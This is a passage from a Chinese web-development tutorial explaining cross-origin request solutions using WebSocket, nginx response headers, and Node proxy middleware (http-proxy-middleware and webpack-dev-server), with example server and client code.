    let wss = new WebSocket.Server({ port: 3000 });
    
    // 监听连接
    wss.on("connection", function(ws) {
        // 监听消息
        ws.on("message", function(data) {
            // 打印消息
            console.log(data); // I love you
            // 发送消息
            ws.send("I love you, too");
        });
    });


    八、使用 nginx 实现跨域

    nginx 本身就是一个服务器,因此我们需要去 nginx 官网下载服务环境 http://nginx.org/en/download....

    • 下载后解压到一个文件夹中
    • 双击 nginx.exe 启动(此时可以通过 http://localhost 访问 nginx 服务)
    • 在目录新建 json 文件夹
    • 进入 json 文件夹新建 data.json 文件并写入内容
    • 回到 nginx 根目录进入 conf 文件夹
    • 使用编辑器打开 nginx.conf 进行配置

    data.json 文件:

    {
        "name": "nginx"
    }

    nginx.conf 文件:

    server {
        .
        .
        .
        location ~.*\.json {
            root json;
            add_header "Access-Control-Allow-Origin" "*";
        }
        .
        .
        .
    }

    含义:

    • ~.*\.json:代表忽略大小写,后缀名为 json 的文件;
    • root json:代表 json 文件夹;
    • add_header:代表加入跨域的响应头及允许访问的域,* 为允许任何访问。

    nginx 根目录启动 cmd 命令行(windows 系统必须使用 cmd 命令行)执行下面代码重启 nginx

    nginx -s reload

    不跨域访问:http://localhost/data.json

    跨域访问时需要创建跨域条件代码如下:

    // 服务器
    const express = require("express");
    let app = express();
    
    app.use(express.static(__dirname));
    app.listen(3000);

    跨域访问:http://localhost:3000/index.html

    <!-- 文件:index.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>nginx跨域</title>
    </head>
    <body>
        <script>
            let xhr = new XMLHttpRequest();
            xhr.open('GET', 'http://localhost/data.json', true);
            xhr.onreadystatechange = function () {
                if(xhr.readyState === 4) {
                    if(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
                        console.log(xhr.response);
                    }
                }
            }
            xhr.send();
        </script>
    </body>
    </html>

    <br/>

    九、使用 http-proxy-middleware 实现跨域

    NodeJS 中间件 http-proxy-middleware 实现跨域代理,原理大致与 nginx 相同,都是通过启一个代理服务器,实现数据的转发,也可以通过设置 cookieDomainRewrite 参数修改响应头中 cookie 中的域名,实现当前域的 cookie 写入,方便接口登录认证。

    1、非 vue 框架的跨域(2 次跨域)

    <!-- 文件:index.html -->
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>proxy 跨域</title>
    </head>
    <body>
        <script>
            var xhr = new XMLHttpRequest();
    
            // 前端开关:浏览器是否读写 cookie
            xhr.withCredentials = true;
    
            // 访问 http-proxy-middleware 代理服务器
            xhr.open('get', 'http://www.proxy1.com:3000/login?user=admin', true);
            xhr.send();
        </script>
    </body>
    </html>

    中间代理服务中使用了 http-proxy-middleware 中间件,因此需要提前下载:

    npm install http-proxy-middleware --save-dev
    // 中间代理服务器
    const express = require("express");
    let proxy = require("http-proxy-middleware");
    let app = express();
    
    app.use(
        "/",
        proxy({
            // 代理跨域目标接口
            target: "http://www.proxy2.com:8080",
            changeOrigin: true,
    
            // 修改响应头信息,实现跨域并允许带 cookie
            onProxyRes: function(proxyRes, req, res) {
                res.header("Access-Control-Allow-Origin", "http://www.proxy1.com");
                res.header("Access-Control-Allow-Credentials", "true");
            },
    
            // 修改响应信息中的 cookie 域名
            cookieDomainRewrite: "www.proxy1.com" // 可以为 false,表示不修改
        })
    );
    
    app.listen(3000);
    // 服务器
    const http = require("http");
    const qs = require("querystring");
    
    const server = http.createServer();
    
    server.on("request", function(req, res) {
        let params = qs.parse(req.url.substring(2));
    
        // 向前台写 cookie
        res.writeHead(200, {
            "Set-Cookie": "l=a123456;Path=/;Domain=www.proxy2.com;HttpOnly" // HttpOnly:脚本无法读取
        });
    
        res.write(JSON.stringify(params));
        res.end();
    });
    
    server.listen("8080");

    2、vue 框架的跨域(1 次跨域)

    利用 node + webpack + webpack-dev-server 代理接口跨域。在开发环境下,由于 Vue 渲染服务和接口代理服务都是 webpack-dev-server,所以页面与代理接口之间不再跨域,无须设置 Headers 跨域信息了。

    // 导出服务器配置
    module.exports = {
        entry: {},
        module: {},
        ...
        devServer: {
            historyApiFallback: true,
            proxy: [{
                context: '/login',
                target: 'http://www.proxy2.com:8080',  // 代理跨域目标接口
                changeOrigin: true,
                secure: false,  // 当代理某些 https 服务报错时用
                cookieDomainRewrite: 'www.domain1.com'  // 可以为 false,表示不修改
            }],
            noInfo: true
        }
    }


    本篇文章在于帮助我们理解跨域,以及不同跨域方式的基本原理,在公司的项目比较多,多个域使用同一个服务器或者数据,以及在开发环境时,跨域的情况基本无法避免,一般会有各种各样形式的跨域解决方案,但其根本原理基本都在上面的跨域方式当中方式,我们可以根据开发场景不同,选择最合适的跨域解决方案。


    查看原文

    认证与成就

    • 获得 69 次点赞
    • 获得 9 枚徽章 获得 0 枚金徽章, 获得 1 枚银徽章, 获得 8 枚铜徽章

    擅长技能
    编辑

    开源项目 & 著作
    编辑

    (゚∀゚ )
    暂时没有

    注册于 2016-08-04
    个人主页被 1.3k 人浏览